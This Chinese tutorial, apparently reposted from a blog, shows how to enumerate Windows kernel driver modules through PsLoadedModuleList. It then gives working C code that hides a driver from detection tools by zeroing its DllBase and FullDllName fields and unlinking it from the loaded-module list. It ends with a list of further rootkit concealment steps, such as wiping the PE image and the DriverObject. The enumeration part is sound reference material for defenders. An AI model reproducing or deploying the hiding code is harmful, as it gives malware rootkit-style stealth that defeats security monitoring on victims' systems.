遍历内核驱动模块

来源:互联网 发布:c语言入门书籍下载 编辑:程序博客网 时间:2024/04/27 22:50

PsLoadedModuleList是Windows加载的所有内核模块构成的链表的表头,利用它可以枚举所有这些模块的信息,下面是WRK中对PsLoadedModuleList的定义:LIST_ENTRY PsLoadedModuleList;

内核在加载驱动时,会为每一个驱动创建一个驱动对象(DRIVER_OBJECT),下面是驱动对象的数据结构:

typedef struct _DRIVER_OBJECT {

    CSHORT Type;               

    CSHORTSize;

    PDEVICE_OBJECT DeviceObject;         //指向设备对象,所有的设备对象构成一个链表

    ULONGFlags;                         //驱动程序标志

    PVOIDDriverStart;                   //驱动程序映像起始地址

    ULONGDriverSize;                    //驱动程序映像大小

    PVOIDDriverSection;                 //指向驱动程序映像的内存区对象

    PDRIVER_EXTENSIONDriverExtension;   //指向驱动程序对象的扩展部分

    UNICODE_STRINGDriverName;           //驱动程序名称

    PUNICODE_STRINGHardwareDatabase;    //指向注册表中包含硬件信息的路径

    PFAST_IO_DISPATCHFastIoDispatch;    //指向快速I/O的分发结构

    PDRIVER_INITIALIZE DriverInit;       //驱动程序的初始化例程

    PDRIVER_STARTIO DriverStartIo;       //驱动程序的启动I/O例程

    PDRIVER_UNLOADDriverUnload;         //驱动程序的卸载例程

    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];

} DRIVER_OBJECT;

typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;

DRIVER_OBJECT对象的DriverExtension成员指向的是驱动程序映像的内存区对象,它的结构KLDR_DATA_TABLE_ENTRY的定义是:

typedef struct_KLDR_DATA_TABLE_ENTRY {

    LIST_ENTRYInLoadOrderLinks;

    PVOIDExceptionTable;

    ULONG ExceptionTableSize;

    PVOIDGpValue;

    PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;

    PVOID DllBase;                           //指明了驱动的加载基址

    PVOID EntryPoint;

    ULONGSizeOfImage;

    UNICODE_STRING FullDllName;              //指明了驱动模块文件的全路径

    UNICODE_STRING BaseDllName;              //指明了驱动模块的名称

    ULONGFlags;

    USHORTLoadCount;

    USHORT__Unused5;

    PVOIDSectionPointer;

    ULONGCheckSum;

    PVOID LoadedImports;

    PVOIDPatchInformation;

} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

这个结构体中的第一个成员InLoadOrderLinks是一个LIST_ENTRY的结构. 每个驱动模块都被加入到这个双向链表中.我们只要遍历这个双向链表就能枚举出所有的驱动模块,下面的DbgObjGetSysModuleInfo函数可以遍历内核所有的驱动模块:

NTSTATUS DbgObjGetSysModuleInfo(PDRIVER_OBJECTlpDriverObject)

{

    PKLDR_DATA_TABLE_ENTRYModuleEntry =NULL;

    PLIST_ENTRYPsLoadedModuleList =NULL;

    PLIST_ENTRY ListEntry =NULL;

    PKLDR_DATA_TABLE_ENTRYldr = (PKLDR_DATA_TABLE_ENTRY)lpDriverObject->DriverSection;

 

    //系统模块链表的链表头

    PsLoadedModuleList =ldr->InLoadOrderLinks.Flink;

    ListEntry =PsLoadedModuleList->Flink;

 

    while (ListEntry != PsLoadedModuleList)

    {

       ModuleEntry =CONTAINING_RECORD(ListEntry,KLDR_DATA_TABLE_ENTRY,InLoadOrderLinks);

       if (&ModuleEntry->BaseDllName.Buffer != 0){

           DbgPrint("Nt Module Fileis %wZ\n",&ModuleEntry->BaseDllName);

       }

       //指向下一个链表

       ListEntry =ListEntry->Flink;

    }

 

    returnSTATUS_SUCCESS;

}

下面的代码是将驱动的内存区对象的DllBase或FullDllName.buffer填为0,它可以简单地绕过一些检测:

PVOID pDllBase =NULL;

 

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)

{

    ((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;

    KdPrint(("Ddvp-> Call DriverUnload \n"));

    return;

}

 

VOID Reinitialize(PDRIVER_OBJECTDriverObject,PVOID Context,ULONGCount)

{

    ((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//将DllBase填0

}

 

NTSTATUS DriverEntry(INPDRIVER_OBJECT DriverObject,INPUNICODE_STRINGRegPath)

{

    NTSTATUSStatus =STATUS_SUCCESS;

 

    pDllBase = ((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase;

    IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL);

    ((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->FullDllName.Buffer = NULL;   //将FullDllName.Buffer填0

 

    DriverObject->DriverUnload = &DriverUnload;

 

    return STATUS_SUCCESS;

}

注:不能直接修改DllBase的值,否则会蓝屏。必须使用函数IoRegisterDriverReinitialization的回调函数来修改,下面是该函数的声明:

VOID

IoRegisterDriverReinitialization(

    INPDRIVER_OBJECT DriverObject,                           //指向驱动的驱动对象

    INPDRIVER_REINITIALIZE DriverReinitializationRoutine,    //被调用的重初始化例程的地址

    INPVOIDContext                                         //指向传递给驱动程序的初始化例程上下文指针

    )

如果要隐藏某个驱动,就要将它从PsLoadedModuleList这个双向链表中去掉。

下图是修改前Flink和Blink指针的指向情况


下图是修改后Flink和Blink指针的指向情况


下面的函数通过修改双向链表来实现驱动的隐藏。

VOID HideDriver(IN PDRIVER_OBJECT pDriverObject)

{

    PLIST_ENTRY entry = &((PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection)->InLoadOrderLinks;

 

    PKLDR_DATA_TABLE_ENTRYModuleEntry =CONTAINING_RECORD(entry,KLDR_DATA_TABLE_ENTRY,InLoadOrderLinks);

    KdPrint(("隐藏驱动 %ws 成功!\n", ModuleEntry->BaseDllName.Buffer));

    //通过RemoveEntryList函数修改链表的指针

    RemoveEntryList(entry);

 

    entry->Flink = entry;

    entry->Blink = entry;

}

在Xuetr中还是可以检测出来

如果想要隐藏的更隐蔽,还要从以下几个方面进行处理:

一、从PsLoadedModuleList链表中断开,此方法仅对ZwQuerySystemInformation(SystemModuleInformation)有效

二、从\Driver对象目录删除

三、从TypeList中删除

四、抹PE镜像

五、抹DriverObject



0 0